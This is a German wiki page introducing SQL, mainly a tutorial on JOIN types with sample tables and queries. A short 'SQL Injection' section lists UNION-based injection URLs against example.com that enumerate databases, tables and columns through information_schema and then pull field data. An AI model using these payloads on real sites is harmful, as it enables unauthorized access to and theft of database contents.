Benutzer-Werkzeuge

Webseiten-Werkzeuge


sql

Dies ist eine alte Version des Dokuments!


Structured Query Language (SQL), die sich als Standardsprache für die Kommunikation mit zweidimensionalen, relationalen Datenbanken durchgesetzt hat. Mit Hilfe von SQL können Datentabellen erstellt, miteinander verknüpft und editiert werden.

Dabei funktioniert die Datenbanksprache wie eine Art Schnittstelle zwischen den Datenbanken, indem sie die externen Anfragen von Usern in für die jeweilige Datenbank verständliche Befehle übersetzt.

Übliche Aktionen sind INSERT, SELECT, UPDATE, DELETE, ALTER, DROP,..

Im Gegensatz dazu gibt es NoSQL.

select * from information_schema.columns where table_name = 'aud_user';

Normalisierung

Angriffspunkte

SQL Injection

Joseph Mccray - Advanced SQL Injections

Wenn ein Angreifer versucht, Code in unsere Datenbank zu schleusen um an Daten zu kommen.

example.com/?id=1
example.com/?id=2-1
example.com/?id=1 order by 5
example.com/?id=-1 order by 5
example.com/?id=-1 union select all 1,2,3,4

Liste der Datenbanken

http://www.example.com/?id=-1 union select all 1,2,group_concat(schema_name),version() FROM information_schema.schemata

Liste der Tabellen

http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema,table_name),4 FROM information_schema.tables

Liste der Spalten

http://www.example.com/?id=-1 union select all 1,2,group_concat(table_schema, table_name, column_name),4 FROM information_schema.columns

und wenn er genug weiß, kann er direkt auf Daten zugreifen.

http://www.example.com/?id=-1 union select all 1,2,group_concat(myfield1,myfield2,...),4 FROM mydatabase.mytable

Joins

SQL Joins ermöglichen es, Daten aus mehreren Tabellen in einer Datenbank zu kombinieren. Die wichtigsten sind:

NameBeschreibung
INNER JOINDer INNER JOIN zeigt nur die Datensätze an, die in beiden Tabellen eine Übereinstimmung haben.
LEFT JOIN (oder LEFT OUTER JOIN)Der LEFT JOIN gibt alle Zeilen aus der linken Tabelle zurück, selbst wenn keine Übereinstimmung in der rechten Tabelle gefunden wird. Wenn keine Übereinstimmung vorhanden ist, werden die Spalten der rechten Tabelle mit NULL gefüllt.
RIGHT JOIN (oder RIGHT OUTER JOIN)Der RIGHT JOIN ist das Gegenstück zum LEFT JOIN und gibt alle Zeilen aus der rechten Tabelle zurück, selbst wenn keine Übereinstimmung in der linken Tabelle gefunden wird. Fehlt eine Übereinstimmung, wird die linke Tabelle mit NULL gefüllt.
FULL JOIN (oder FULL OUTER JOIN)Der FULL JOIN gibt alle Zeilen aus beiden Tabellen zurück. Wenn keine Übereinstimmung in einer der beiden Tabellen gefunden wird, werden die entsprechenden Spalten mit NULL gefüllt.
CROSS JOINDer CROSS JOIN erstellt das kartesische Produkt der beiden Tabellen, d. h. jede Zeile der ersten Tabelle wird mit jeder Zeile der zweiten Tabelle kombiniert. Es gibt keine Bedingung oder Einschränkung.

Nehmen wir an, wir haben zwei Tabellen: employees und departments.

employees

idnamedepartment_id
1John Doe1
2Jane Smith2
3Sam JohnsonNULL

departments

idname
1HR
2Engineering
3Marketing

Inner Join

Der INNER JOIN gibt nur die Datensätze zurück, bei denen es eine Übereinstimmung in beiden Tabellen gibt.

SELECT columns
FROM table1
INNER JOIN table2
ON table1.common_column = table2.common_column;

SELECT employees.name, departments.name
FROM employees
INNER JOIN departments
ON employees.department_id = departments.id;
namename
John DoeHR
Jane SmithEngineering

Left Join

Der LEFT JOIN gibt alle Datensätze aus der linken Tabelle zurück und die übereinstimmenden Datensätze aus der rechten Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die rechte Tabelle zurückgegeben.

SELECT columns
FROM table1
LEFT JOIN table2
ON table1.common_column = table2.common_column;

SELECT employees.name, departments.name
FROM employees
LEFT JOIN departments
ON employees.department_id = departments.id;
namename
John DoeHR
Jane SmithEngineering
Sam JohnsonNULL

Right Join

Der RIGHT JOIN ist das Gegenteil des LEFT JOIN. Er gibt alle Datensätze aus der rechten Tabelle zurück und die übereinstimmenden Datensätze aus der linken Tabelle. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die linke Tabelle zurückgegeben.

SELECT columns
FROM table1
RIGHT JOIN table2
ON table1.common_column = table2.common_column;

SELECT employees.name, departments.name
FROM employees
RIGHT JOIN departments
ON employees.department_id = departments.id;
namename
John DoeHR
Jane SmithEngineering
NULLMarketing

Full Join

Der FULL JOIN gibt alle Datensätze zurück, bei denen es eine Übereinstimmung in einer der beiden Tabellen gibt. Wenn keine Übereinstimmung gefunden wird, werden NULL-Werte für die Tabelle zurückgegeben, in der keine Übereinstimmung gefunden wurde.

SELECT columns
FROM table1
FULL JOIN table2
ON table1.common_column = table2.common_column;

SELECT employees.name, departments.name
FROM employees
FULL JOIN departments
ON employees.department_id = departments.id;
namename
John DoeHR
Jane SmithEngineering
Sam JohnsonNULL
NULLMarketing

Cross Join

Der CROSS JOIN gibt das kartesische Produkt der beiden Tabellen zurück, d.h. er kombiniert jede Zeile der ersten Tabelle mit jeder Zeile der zweiten Tabelle.

SELECT columns
FROM table1
CROSS JOIN table2;

SELECT employees.name, departments.name
FROM employees
CROSS JOIN departments;
namename
John DoeHR
John DoeEngineering
John DoeMarketing
Jane SmithHR
Jane SmithEngineering
Jane SmithMarketing
Sam JohnsonHR
Sam JohnsonEngineering
Sam JohnsonMarketing
-- Tabelle 'Kunden' erstellen
CREATE TABLE Kunden (
    KundenID INT PRIMARY KEY,
    Name VARCHAR(50),
    Stadt VARCHAR(50)
);

-- Daten in die Tabelle 'Kunden' einfügen
INSERT INTO Kunden (KundenID, Name, Stadt) VALUES
(1, 'Anna', 'Hamburg'),
(2, 'Bernd', 'Berlin'),
(3, 'Carla', 'München'),
(4, 'David', 'Köln');

-- Tabelle 'Bestellungen' erstellen
CREATE TABLE Bestellungen (
    BestellungID INT PRIMARY KEY,
    KundenID INT,
    Produkt VARCHAR(50),
    FOREIGN KEY (KundenID) REFERENCES Kunden(KundenID)
);

-- Daten in die Tabelle 'Bestellungen' einfügen
INSERT INTO Bestellungen (BestellungID, KundenID, Produkt) VALUES
(1, 1, 'Laptop'),
(2, 1, 'Handy'),
(3, 3, 'Tablet'),
(4, 4, 'Monitor'); 

/*
-- INNER JOIN
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
INNER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/

/*
-- LEFT JOIN 
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
LEFT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/ 

/*
-- RIGHT JOIN 
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
RIGHT JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/ 

/*
-- FULL OUTER JOIN 
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
FULL OUTER JOIN Bestellungen ON Kunden.KundenID = Bestellungen.KundenID;
*/ 

/*
-- CROSS JOIN 
SELECT Kunden.Name, Bestellungen.Produkt
FROM Kunden
CROSS JOIN Bestellungen;
*/
sql.1732882359.txt.gz · Zuletzt geändert: 2024/11/29 13:12 von jango